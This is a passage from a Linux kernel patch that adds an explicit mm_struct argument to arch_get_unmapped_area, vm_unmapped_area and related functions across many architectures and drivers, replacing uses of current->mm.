requires that all the 'arch_get_unmapped_area' functions as well as the
'vm_unmapped_area' function with its dependents have to take the memory
map that they should work on as additional argument. Simply using the one
of the current task, as these functions did before, is not correct anymore
and leads to incorrect results.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
---
 arch/alpha/kernel/osf_sys.c                  | 19 ++++++------
 arch/arc/mm/mmap.c                           |  8 ++---
 arch/arm/kernel/process.c                    |  2 +-
 arch/arm/mm/mmap.c                           | 19 ++++++------
 arch/arm64/kernel/vdso.c                     |  2 +-
 arch/blackfin/include/asm/pgtable.h          |  3 +-
 arch/blackfin/kernel/sys_bfin.c              |  5 ++--
 arch/frv/mm/elf-fdpic.c                      | 11 +++----
 arch/hexagon/kernel/vdso.c                   |  2 +-
 arch/ia64/kernel/perfmon.c                   |  3 +-
 arch/ia64/kernel/sys_ia64.c                  |  6 ++--
 arch/ia64/mm/hugetlbpage.c                   |  7 +++--
 arch/metag/mm/hugetlbpage.c                  | 11 +++----
 arch/mips/kernel/vdso.c                      |  2 +-
 arch/mips/mm/mmap.c                          | 27 +++++++++--------
 arch/parisc/kernel/sys_parisc.c              | 19 ++++++------
 arch/parisc/mm/hugetlbpage.c                 |  7 +++--
 arch/powerpc/include/asm/book3s/64/hugetlb.h |  6 ++--
 arch/powerpc/include/asm/page_64.h           |  3 +-
 arch/powerpc/kernel/vdso.c                   |  2 +-
 arch/powerpc/mm/hugetlbpage-radix.c          |  9 +++---
 arch/powerpc/mm/hugetlbpage.c                |  9 +++---
 arch/powerpc/mm/mmap.c                       | 17 +++++------
 arch/powerpc/mm/slice.c                      | 25 ++++++++--------
 arch/s390/kernel/vdso.c                      |  3 +-
 arch/s390/mm/mmap.c                          | 42 +++++++++++++-------------
 arch/sh/kernel/vsyscall/vsyscall.c           |  2 +-
 arch/sh/mm/mmap.c                            | 19 ++++++------
 arch/sparc/include/asm/pgtable_64.h          |  4 +--
 arch/sparc/kernel/sys_sparc_32.c             |  6 ++--
 arch/sparc/kernel/sys_sparc_64.c             | 31 +++++++++++---------
 arch/sparc/mm/hugetlbpage.c                  | 26 ++++++++--------
 arch/tile/kernel/vdso.c                      |  2 +-
 arch/tile/mm/hugetlbpage.c                   | 26 ++++++++--------
 arch/x86/entry/vdso/vma.c                    |  2 +-
 arch/x86/kernel/sys_x86_64.c                 | 19 ++++++------
 arch/x86/mm/hugetlbpage.c                    | 26 ++++++++--------
 arch/xtensa/kernel/syscall.c                 |  7 +++--
 drivers/char/mem.c                           | 15 ++++++----
 drivers/dax/dax.c                            | 10 +++----
 drivers/media/usb/uvc/uvc_v4l2.c             |  6 ++--
 drivers/media/v4l2-core/v4l2-dev.c           |  8 ++---
 drivers/media/v4l2-core/videobuf2-v4l2.c     |  5 ++--
 drivers/mtd/mtdchar.c                        |  3 +-
 drivers/usb/gadget/function/uvc_v4l2.c       |  3 +-
 fs/hugetlbfs/inode.c                         |  8 ++---
 fs/proc/inode.c                              | 10 +++----
 fs/ramfs/file-mmu.c                          |  5 ++--
 fs/ramfs/file-nommu.c                        | 10 ++++---
 fs/romfs/mmap-nommu.c                        |  3 +-
 include/linux/fs.h                           |  2 +-
 include/linux/huge_mm.h                      |  6 ++--
 include/linux/hugetlb.h                      |  5 ++--
 include/linux/mm.h                           | 16 ++++++----
 include/linux/mm_types.h                     |  7 +++--
 include/linux/sched.h                        | 10 +++----
 include/linux/shmem_fs.h                     |  5 ++--
 include/media/v4l2-dev.h                     |  3 +-
 include/media/videobuf2-v4l2.h               |  5 ++--
 ipc/shm.c                                    | 10 +++----
 kernel/events/uprobes.c                      |  2 +-
 mm/huge_memory.c                             | 18 +++++++-----
 mm/mmap.c                                    | 44 ++++++++++++++--------------
 mm/mremap.c                                  | 11 +++----
 mm/nommu.c                                   | 10 ++++---
 mm/shmem.c                                   | 14 ++++-----
 sound/core/pcm_native.c                      |  3 +-
 67 files changed, 370 insertions(+), 326 deletions(-)

diff --git a/arch/alpha/kernel/osf_sys.c b/arch/alpha/kernel/osf_sys.c
index 54d8616644e2..281109bcdc5d 100644
--- a/arch/alpha/kernel/osf_sys.c
+++ b/arch/alpha/kernel/osf_sys.c
@@ -1308,8 +1308,8 @@ SYSCALL_DEFINE1(old_adjtimex, struct timex32 __user *, txc_p)
    generic version except that we know how to honor ADDR_LIMIT_32BIT.  */
 
 static unsigned long
-arch_get_unmapped_area_1(unsigned long addr, unsigned long len,
-		         unsigned long limit)
+arch_get_unmapped_area_1(struct mm_struct *mm, unsigned long addr,
+			 unsigned long len, unsigned long limit)
 {
 	struct vm_unmapped_area_info info;
 
@@ -1319,13 +1319,13 @@ arch_get_unmapped_area_1(unsigned long addr, unsigned long len,
 	info.high_limit = limit;
 	info.align_mask = 0;
 	info.align_offset = 0;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
 unsigned long
-arch_get_unmapped_area(struct file *filp, unsigned long addr,
-		       unsigned long len, unsigned long pgoff,
-		       unsigned long flags)
+arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+		       unsigned long addr, unsigned long len,
+		       unsigned long pgoff, unsigned long flags)
 {
 	unsigned long limit;
 
@@ -1352,19 +1352,20 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	   this feature should be incorporated into all ports?  */
 
 	if (addr) {
-		addr = arch_get_unmapped_area_1 (PAGE_ALIGN(addr), len, limit);
+		addr = arch_get_unmapped_area_1 (mm, PAGE_ALIGN(addr), len,
+						 limit);
 		if (addr != (unsigned long) -ENOMEM)
 			return addr;
 	}
 
 	/* Next, try allocating at TASK_UNMAPPED_BASE.  */
-	addr = arch_get_unmapped_area_1 (PAGE_ALIGN(TASK_UNMAPPED_BASE),
+	addr = arch_get_unmapped_area_1 (mm, PAGE_ALIGN(TASK_UNMAPPED_BASE),
 					 len, limit);
 	if (addr != (unsigned long) -ENOMEM)
 		return addr;
 
 	/* Finally, try allocating in low memory.  */
-	addr = arch_get_unmapped_area_1 (PAGE_SIZE, len, limit);
+	addr = arch_get_unmapped_area_1 (mm, PAGE_SIZE, len, limit);
 
 	return addr;
 }
diff --git a/arch/arc/mm/mmap.c b/arch/arc/mm/mmap.c
index 2e06d56e987b..2fa95d302b02 100644
--- a/arch/arc/mm/mmap.c
+++ b/arch/arc/mm/mmap.c
@@ -28,10 +28,10 @@
  * SHMLBA bytes.
  */
 unsigned long
-arch_get_unmapped_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	int do_align = 0;
 	int aliasing = cache_is_vipt_aliasing();
@@ -74,5 +74,5 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	info.high_limit = TASK_SIZE;
 	info.align_mask = do_align ? (PAGE_MASK & (SHMLBA - 1)) : 0;
 	info.align_offset = pgoff << PAGE_SHIFT;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
diff --git a/arch/arm/kernel/process.c b/arch/arm/kernel/process.c
index 91d2d5b01414..4c6f9595fdbe 100644
--- a/arch/arm/kernel/process.c
+++ b/arch/arm/kernel/process.c
@@ -426,7 +426,7 @@ int arch_setup_additional_pages(struct linux_binprm *bprm, int uses_interp)
 	if (down_write_killable(&mm->mmap_sem))
 		return -EINTR;
 	hint = sigpage_addr(mm, npages);
-	addr = get_unmapped_area(NULL, hint, npages << PAGE_SHIFT, 0, 0);
+	addr = get_unmapped_area(mm, NULL, hint, npages << PAGE_SHIFT, 0, 0);
 	if (IS_ERR_VALUE(addr)) {
 		ret = addr;
 		goto up_fail;
diff --git a/arch/arm/mm/mmap.c b/arch/arm/mm/mmap.c
index 66353caa35b9..48b49bfdd1d7 100644
--- a/arch/arm/mm/mmap.c
+++ b/arch/arm/mm/mmap.c
@@ -52,10 +52,10 @@ static unsigned long mmap_base(unsigned long rnd)
  * in the VIVT case, we optimise out the alignment rules.
  */
 unsigned long
-arch_get_unmapped_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	int do_align = 0;
 	int aliasing = cache_is_vipt_aliasing();
@@ -99,16 +99,15 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	info.high_limit = TASK_SIZE;
 	info.align_mask = do_align ? (PAGE_MASK & (SHMLBA - 1)) : 0;
 	info.align_offset = pgoff << PAGE_SHIFT;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
 unsigned long
-arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
-			const unsigned long len, const unsigned long pgoff,
-			const unsigned long flags)
+arch_get_unmapped_area_topdown(struct mm_struct *mm, struct file *filp,
+			const unsigned long addr0, const unsigned long len,
+			const unsigned long pgoff, const unsigned long flags)
 {
 	struct vm_area_struct *vma;
-	struct mm_struct *mm = current->mm;
 	unsigned long addr = addr0;
 	int do_align = 0;
 	int aliasing = cache_is_vipt_aliasing();
@@ -150,7 +149,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	info.high_limit = mm->mmap_base;
 	info.align_mask = do_align ? (PAGE_MASK & (SHMLBA - 1)) : 0;
 	info.align_offset = pgoff << PAGE_SHIFT;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 
 	/*
 	 * A failed mmap() very likely causes application failure,
@@ -163,7 +162,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 		info.flags = 0;
 		info.low_limit = mm->mmap_base;
 		info.high_limit = TASK_SIZE;
-		addr = vm_unmapped_area(&info);
+		addr = vm_unmapped_area(mm, &info);
 	}
 
 	return addr;
diff --git a/arch/arm64/kernel/vdso.c b/arch/arm64/kernel/vdso.c
index a2c2478e7d78..403e71456297 100644
--- a/arch/arm64/kernel/vdso.c
+++ b/arch/arm64/kernel/vdso.c
@@ -166,7 +166,7 @@ int arch_setup_additional_pages(struct linux_binprm *bprm,
 
 	if (down_write_killable(&mm->mmap_sem))
 		return -EINTR;
-	vdso_base = get_unmapped_area(NULL, 0, vdso_mapping_len, 0, 0);
+	vdso_base = get_unmapped_area(mm, NULL, 0, vdso_mapping_len, 0, 0);
 	if (IS_ERR_VALUE(vdso_base)) {
 		ret = ERR_PTR(vdso_base);
 		goto up_fail;
diff --git a/arch/blackfin/include/asm/pgtable.h b/arch/blackfin/include/asm/pgtable.h
index c1ee3d6533fb..fe2c5d41d62a 100644
--- a/arch/blackfin/include/asm/pgtable.h
+++ b/arch/blackfin/include/asm/pgtable.h
@@ -92,7 +92,8 @@ extern char empty_zero_page[];
 #define	VMALLOC_END	0xffffffff
 
 /* provide a special get_unmapped_area for framebuffer mmaps of nommu */
-extern unsigned long get_fb_unmapped_area(struct file *filp, unsigned long,
+extern unsigned long get_fb_unmapped_area(struct mm_struct *mm,
+					  struct file *filp, unsigned long,
 					  unsigned long, unsigned long,
 					  unsigned long);
 #define HAVE_ARCH_FB_UNMAPPED_AREA
diff --git a/arch/blackfin/kernel/sys_bfin.c b/arch/blackfin/kernel/sys_bfin.c
index d998383cb956..65acfd2bc8d1 100644
--- a/arch/blackfin/kernel/sys_bfin.c
+++ b/arch/blackfin/kernel/sys_bfin.c
@@ -42,8 +42,9 @@ asmlinkage void *sys_dma_memcpy(void *dest, const void *src, size_t len)
 #if defined(CONFIG_FB) || defined(CONFIG_FB_MODULE)
 #include <linux/fb.h>
 #include <linux/export.h>
-unsigned long get_fb_unmapped_area(struct file *filp, unsigned long orig_addr,
-	unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long get_fb_unmapped_area(struct mm_struct *mm, struct file *filp,
+	unsigned long orig_addr, unsigned long len, unsigned long pgoff,
+	unsigned long flags)
 {
 	struct fb_info *info = filp->private_data;
 	return (unsigned long)info->screen_base;
diff --git a/arch/frv/mm/elf-fdpic.c b/arch/frv/mm/elf-fdpic.c
index 836f14707a62..c7158d8883e2 100644
--- a/arch/frv/mm/elf-fdpic.c
+++ b/arch/frv/mm/elf-fdpic.c
@@ -56,7 +56,8 @@ void elf_fdpic_arch_lay_out_mm(struct elf_fdpic_params *exec_params,
  * place non-fixed mmaps firstly in the bottom part of memory, working up, and then in the top part
  * of memory, working down
  */
-unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsigned long len,
+unsigned long arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+				     unsigned long addr, unsigned long len,
 				     unsigned long pgoff, unsigned long flags)
 {
 	struct vm_area_struct *vma;
@@ -72,7 +73,7 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsi
 	/* only honour a hint if we're not going to clobber something doing so */
 	if (addr) {
 		addr = PAGE_ALIGN(addr);
-		vma = find_vma(current->mm, addr);
+		vma = find_vma(mm, addr);
 		if (TASK_SIZE - len >= addr &&
 		    (!vma || addr + len <= vma->vm_start))
 			goto success;
@@ -82,10 +83,10 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsi
 	info.flags = 0;
 	info.length = len;
 	info.low_limit = PAGE_SIZE;
-	info.high_limit = (current->mm->start_stack - 0x00200000);
+	info.high_limit = (mm->start_stack - 0x00200000);
 	info.align_mask = 0;
 	info.align_offset = 0;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 	if (!(addr & ~PAGE_MASK))
 		goto success;
 	VM_BUG_ON(addr != -ENOMEM);
@@ -93,7 +94,7 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr, unsi
 	/* search from just above the WorkRAM area to the top of memory */
 	info.low_limit = PAGE_ALIGN(0x80000000);
 	info.high_limit = TASK_SIZE;
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 	if (!(addr & ~PAGE_MASK))
 		goto success;
 	VM_BUG_ON(addr != -ENOMEM);
diff --git a/arch/hexagon/kernel/vdso.c b/arch/hexagon/kernel/vdso.c
index 3ea968415539..1ec46d4dd0e6 100644
--- a/arch/hexagon/kernel/vdso.c
+++ b/arch/hexagon/kernel/vdso.c
@@ -71,7 +71,7 @@ int arch_setup_additional_pages(struct linux_binprm *bprm, int uses_interp)
 	/* Try to get it loaded right near ld.so/glibc. */
 	vdso_base = STACK_TOP;
 
-	vdso_base = get_unmapped_area(NULL, vdso_base, PAGE_SIZE, 0, 0);
+	vdso_base = get_unmapped_area(mm, NULL, vdso_base, PAGE_SIZE, 0, 0);
 	if (IS_ERR_VALUE(vdso_base)) {
 		ret = vdso_base;
 		goto up_fail;
diff --git a/arch/ia64/kernel/perfmon.c b/arch/ia64/kernel/perfmon.c
index 677a86826771..8a5cb50e698f 100644
--- a/arch/ia64/kernel/perfmon.c
+++ b/arch/ia64/kernel/perfmon.c
@@ -2308,7 +2308,8 @@ pfm_smpl_buffer_alloc(struct task_struct *task, struct file *filp, pfm_context_t
 	down_write(&task->mm->mmap_sem);
 
 	/* find some free area in address space, must have mmap sem held */
-	vma->vm_start = get_unmapped_area(NULL, 0, size, 0, MAP_PRIVATE|MAP_ANONYMOUS);
+	vma->vm_start = get_unmapped_area(mm, NULL, 0, size, 0,
+					  MAP_PRIVATE|MAP_ANONYMOUS);
 	if (IS_ERR_VALUE(vma->vm_start)) {
 		DPRINT(("Cannot find unmapped area for size %ld\n", size));
 		up_write(&task->mm->mmap_sem);
diff --git a/arch/ia64/kernel/sys_ia64.c b/arch/ia64/kernel/sys_ia64.c
index a09c12230bc5..2f33e1c9d002 100644
--- a/arch/ia64/kernel/sys_ia64.c
+++ b/arch/ia64/kernel/sys_ia64.c
@@ -21,12 +21,12 @@
 #include <linux/uaccess.h>
 
 unsigned long
-arch_get_unmapped_area (struct file *filp, unsigned long addr, unsigned long len,
+arch_get_unmapped_area (struct mm_struct *mm, struct file *filp,
+			unsigned long addr, unsigned long len,
 			unsigned long pgoff, unsigned long flags)
 {
 	long map_shared = (flags & MAP_SHARED);
 	unsigned long align_mask = 0;
-	struct mm_struct *mm = current->mm;
 	struct vm_unmapped_area_info info;
 
 	if (len > RGN_MAP_LIMIT)
@@ -61,7 +61,7 @@ arch_get_unmapped_area (struct file *filp, unsigned long addr, unsigned long len
 	info.high_limit = TASK_SIZE;
 	info.align_mask = align_mask;
 	info.align_offset = 0;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
 asmlinkage long
diff --git a/arch/ia64/mm/hugetlbpage.c b/arch/ia64/mm/hugetlbpage.c
index 85de86d36fdf..fd9ff12b37f4 100644
--- a/arch/ia64/mm/hugetlbpage.c
+++ b/arch/ia64/mm/hugetlbpage.c
@@ -134,8 +134,9 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb,
 	free_pgd_range(tlb, addr, end, floor, ceiling);
 }
 
-unsigned long hugetlb_get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
-		unsigned long pgoff, unsigned long flags)
+unsigned long hugetlb_get_unmapped_area(struct mm_struct *mm, struct file *file,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
 	struct vm_unmapped_area_info info;
 
@@ -161,7 +162,7 @@ unsigned long hugetlb_get_unmapped_area(struct file *file, unsigned long addr, u
 	info.high_limit = HPAGE_REGION_BASE + RGN_MAP_LIMIT;
 	info.align_mask = PAGE_MASK & (HPAGE_SIZE - 1);
 	info.align_offset = 0;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
 static int __init hugetlb_setup_sz(char *str)
diff --git a/arch/metag/mm/hugetlbpage.c b/arch/metag/mm/hugetlbpage.c
index db1b7da91e4f..4bf5b3c1ae7e 100644
--- a/arch/metag/mm/hugetlbpage.c
+++ b/arch/metag/mm/hugetlbpage.c
@@ -179,7 +179,7 @@ hugetlb_get_unmapped_area_existing(unsigned long len)
 
 /* Do a full search to find an area without any nearby normal pages. */
 static unsigned long
-hugetlb_get_unmapped_area_new_pmd(unsigned long len)
+hugetlb_get_unmapped_area_new_pmd(struct mm_struct *mm, unsigned long len)
 {
 	struct vm_unmapped_area_info info;
 
@@ -189,12 +189,13 @@ hugetlb_get_unmapped_area_new_pmd(unsigned long len)
 	info.high_limit = TASK_SIZE;
 	info.align_mask = PAGE_MASK & HUGEPT_MASK;
 	info.align_offset = 0;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
 unsigned long
-hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+hugetlb_get_unmapped_area(struct mm_struct *mm, struct file *file,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
 	struct hstate *h = hstate_file(file);
 
@@ -227,7 +228,7 @@ hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
 	 * Find an unmapped naturally aligned set of 4MB blocks that we can use
 	 * for huge pages.
 	 */
-	return hugetlb_get_unmapped_area_new_pmd(len);
+	return hugetlb_get_unmapped_area_new_pmd(mm, len);
 }
 
 #endif /*HAVE_ARCH_HUGETLB_UNMAPPED_AREA*/
diff --git a/arch/mips/kernel/vdso.c b/arch/mips/kernel/vdso.c
index 9631b42908f3..05d87680a05a 100644
--- a/arch/mips/kernel/vdso.c
+++ b/arch/mips/kernel/vdso.c
@@ -129,7 +129,7 @@ int arch_setup_additional_pages(struct linux_binprm *bprm, int uses_interp)
 	vvar_size = gic_size + PAGE_SIZE;
 	size = vvar_size + image->size;
 
-	base = get_unmapped_area(NULL, 0, size, 0, 0);
+	base = get_unmapped_area(mm, NULL, 0, size, 0, 0);
 	if (IS_ERR_VALUE(base)) {
 		ret = base;
 		goto out;
diff --git a/arch/mips/mm/mmap.c b/arch/mips/mm/mmap.c
index d08ea3ff0f53..86a8cb07a584 100644
--- a/arch/mips/mm/mmap.c
+++ b/arch/mips/mm/mmap.c
@@ -51,11 +51,11 @@ static unsigned long mmap_base(unsigned long rnd)
 
 enum mmap_allocation_direction {UP, DOWN};
 
-static unsigned long arch_get_unmapped_area_common(struct file *filp,
-	unsigned long addr0, unsigned long len, unsigned long pgoff,
-	unsigned long flags, enum mmap_allocation_direction dir)
+static unsigned long arch_get_unmapped_area_common(struct mm_struct *mm,
+	struct file *filp, unsigned long addr0, unsigned long len,
+	unsigned long pgoff, unsigned long flags,
+	enum mmap_allocation_direction dir)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	unsigned long addr = addr0;
 	int do_color_align;
@@ -104,7 +104,7 @@ static unsigned long arch_get_unmapped_area_common(struct file *filp,
 		info.flags = VM_UNMAPPED_AREA_TOPDOWN;
 		info.low_limit = PAGE_SIZE;
 		info.high_limit = mm->mmap_base;
-		addr = vm_unmapped_area(&info);
+		addr = vm_unmapped_area(mm, &info);
 
 		if (!(addr & ~PAGE_MASK))
 			return addr;
@@ -120,13 +120,14 @@ static unsigned long arch_get_unmapped_area_common(struct file *filp,
 	info.flags = 0;
 	info.low_limit = mm->mmap_base;
 	info.high_limit = TASK_SIZE;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
 
-unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr0,
-	unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+	unsigned long addr0, unsigned long len, unsigned long pgoff,
+	unsigned long flags)
 {
-	return arch_get_unmapped_area_common(filp,
+	return arch_get_unmapped_area_common(mm, filp,
 			addr0, len, pgoff, flags, UP);
 }
 
@@ -134,11 +135,11 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr0,
  * There is no need to export this but sched.h declares the function as
  * extern so making it static here results in an error.
  */
-unsigned long arch_get_unmapped_area_topdown(struct file *filp,
-	unsigned long addr0, unsigned long len, unsigned long pgoff,
-	unsigned long flags)
+unsigned long arch_get_unmapped_area_topdown(struct mm_struct *mm,
+	struct file *filp, unsigned long addr0, unsigned long len,
+	unsigned long pgoff, unsigned long flags)
 {
-	return arch_get_unmapped_area_common(filp,
+	return arch_get_unmapped_area_common(mm, filp,
 			addr0, len, pgoff, flags, DOWN);
 }
 
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index bf3294171230..68664e9a3317 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -84,10 +84,10 @@ static unsigned long mmap_upper_limit(void)
 }
 
 
-unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+unsigned long arch_get_unmapped_area(struct mm_struct *mm, struct file *filp,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	unsigned long task_size = TASK_SIZE;
 	int do_color_align, last_mmap;
@@ -127,7 +127,7 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 	info.high_limit = mmap_upper_limit();
 	info.align_mask = last_mmap ? (PAGE_MASK & (SHM_COLOUR - 1)) : 0;
 	info.align_offset = shared_align_offset(last_mmap, pgoff);
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 
 found_addr:
 	if (do_color_align && !last_mmap && !(addr & ~PAGE_MASK))
@@ -137,12 +137,11 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 }
 
 unsigned long
-arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
-			  const unsigned long len, const unsigned long pgoff,
-			  const unsigned long flags)
+arch_get_unmapped_area_topdown(struct mm_struct *mm, struct file *filp,
+			  const unsigned long addr0, const unsigned long len,
+			  const unsigned long pgoff, const unsigned long flags)
 {
 	struct vm_area_struct *vma;
-	struct mm_struct *mm = current->mm;
 	unsigned long addr = addr0;
 	int do_color_align, last_mmap;
 	struct vm_unmapped_area_info info;
@@ -187,7 +186,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	info.high_limit = mm->mmap_base;
 	info.align_mask = last_mmap ? (PAGE_MASK & (SHM_COLOUR - 1)) : 0;
 	info.align_offset = shared_align_offset(last_mmap, pgoff);
-	addr = vm_unmapped_area(&info);
+	addr = vm_unmapped_area(mm, &info);
 	if (!(addr & ~PAGE_MASK))
 		goto found_addr;
 	VM_BUG_ON(addr != -ENOMEM);
@@ -198,7 +197,7 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 	 * can happen with large stack limits and large mmap()
 	 * allocations.
 	 */
-	return arch_get_unmapped_area(filp, addr0, len, pgoff, flags);
+	return arch_get_unmapped_area(mm, filp, addr0, len, pgoff, flags);
 
 found_addr:
 	if (do_color_align && !last_mmap && !(addr & ~PAGE_MASK))
diff --git a/arch/parisc/mm/hugetlbpage.c b/arch/parisc/mm/hugetlbpage.c
index 5d6eea925cf4..a0f93122e142 100644
--- a/arch/parisc/mm/hugetlbpage.c
+++ b/arch/parisc/mm/hugetlbpage.c
@@ -21,8 +21,9 @@
 
 
 unsigned long
-hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
-		unsigned long len, unsigned long pgoff, unsigned long flags)
+hugetlb_get_unmapped_area(struct mm_struct *mm, struct file *file,
+		unsigned long addr, unsigned long len, unsigned long pgoff,
+		unsigned long flags)
 {
 	struct hstate *h = hstate_file(file);
 
@@ -39,7 +40,7 @@ hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
 		addr = ALIGN(addr, huge_page_size(h));
 
 	/* we need to make sure the colouring is OK */
-	return arch_get_unmapped_area(file, addr, len, pgoff, flags);
+	return arch_get_unmapped_area(mm, file, addr, len, pgoff, flags);
 }
 
 
diff --git a/arch/powerpc/include/asm/book3s/64/hugetlb.h b/arch/powerpc/include/asm/book3s/64/hugetlb.h
index c62f14d0bec1..5ff88a3d946e 100644
--- a/arch/powerpc/include/asm/book3s/64/hugetlb.h
+++ b/arch/powerpc/include/asm/book3s/64/hugetlb.h
@@ -8,9 +8,9 @@
 void radix__flush_hugetlb_page(struct vm_area_struct *vma, unsigned long vmaddr);
 void radix__local_flush_hugetlb_page(struct vm_area_struct *vma, unsigned long vmaddr);
 extern unsigned long
-radix__hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
-				unsigned long len, unsigned long pgoff,
-				unsigned long flags);
+radix__hugetlb_get_unmapped_area(struct mm_struct *mm, struct file *file,
+				unsigned long addr, unsigned long len,
+				unsigned long pgoff, unsigned long flags);
 
 static inline int hstate_get_psize(struct hstate *hstate)
 {
diff --git a/arch/powerpc/include/asm/page_64.h b/arch/powerpc/include/asm/page_64.h
index dd5f0712afa2..1ac2c5814d14 100644
--- a/arch/powerpc/include/asm/page_64.h
+++ b/arch/powerpc/include/asm/page_64.h
@@ -115,7 +115,8 @@ struct slice_mask {
 
 struct mm_struct;
 
-extern unsigned long slice_get_unmapped_area(unsigned long addr,
+extern unsigned long slice_get_unmapped_area(struct mm_struct *mm,
+					     unsigned long addr,
 					     unsigned long len,
 					     unsigned long flags,
 					     unsigned int psize,
diff --git a/arch/powerpc/kernel/vdso.c b/arch/powerpc/kernel/vdso.c
index 4111d30badfa..3f7c4b334620 100644
--- a/arch/powerpc/kernel/vdso.c
+++ b/arch/powerpc/kernel/vdso.c
@@ -198,7 +198,7 @@ int arch_setup_additional_pages(struct linux_binprm *bprm, int uses_interp)
 	 */
 	if (down_write_killable(&mm->mmap_sem))
 		return -EINTR;
-	vdso_base = get_unmapped_area(NULL, vdso_base,
+	vdso_base = get_unmapped_area(mm, NULL, vdso_base,
 				      (vdso_pages << PAGE_SHIFT) +
 				      ((VDSO_ALIGNMENT - 1) & PAGE_MASK),
 				      0, 0);
diff --git a/arch/powerpc/mm/hugetlbpage-radix.c b/arch/powerpc/mm/hugetlbpage-radix.c
index 35254a678456..86e99682033a 100644
--- a/arch/powerpc/mm/hugetlbpage-radix.c
+++ b/arch/powerpc/mm/hugetlbpage-radix.c
@@ -41,11 +41,10 @@ void radix__flush_hugetlb_tlb_range(struct vm_area_struct *vma, unsigned long st
  * ie, use topdown or not based on mmap_is_legacy check ?
  */
 unsigned long
-radix__hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
-				unsigned long len, unsigned long pgoff,
-				unsigned long flags)
+radix__hugetlb_get_unmapped_area(struct mm_struct *mm, struct file *file,
+				unsigned long addr, unsigned long len,
+				unsigned long pgoff, unsigned long flags)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma;
 	struct hstate *h = hstate_file(file);
 	struct vm_unmapped_area_info info;
@@ -78,5 +77,5 @@ radix__hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
 	info.high_limit = current->mm->mmap_base;
 	info.align_mask = PAGE_MASK & ~huge_page_mask(h);
 	info.align_offset = 0;
-	return vm_unmapped_area(&info);
+	return vm_unmapped_area(mm, &info);
 }
diff --git a/arch/powerpc/mm/hugetlbpage.c b/arch/powerpc/mm/hugetlbpage.c
index 8c3389cbcd12..817bf97e59cc 100644
--- a/arch/powerpc/mm/hugetlbpage.c
+++ b/arch/powerpc/mm/hugetlbpage.c
@@ -698,17 +698,18 @@ int gup_huge_pd(hugepd_t hugepd, unsigned long addr, unsigned pdshift,
 }
 
 #ifdef CONFIG_PPC_MM_SLICES
-unsigned long hugetlb_get_unmapped_area(struct file *file, unsigned long addr,
-					unsigned long len, unsigned long pgoff,
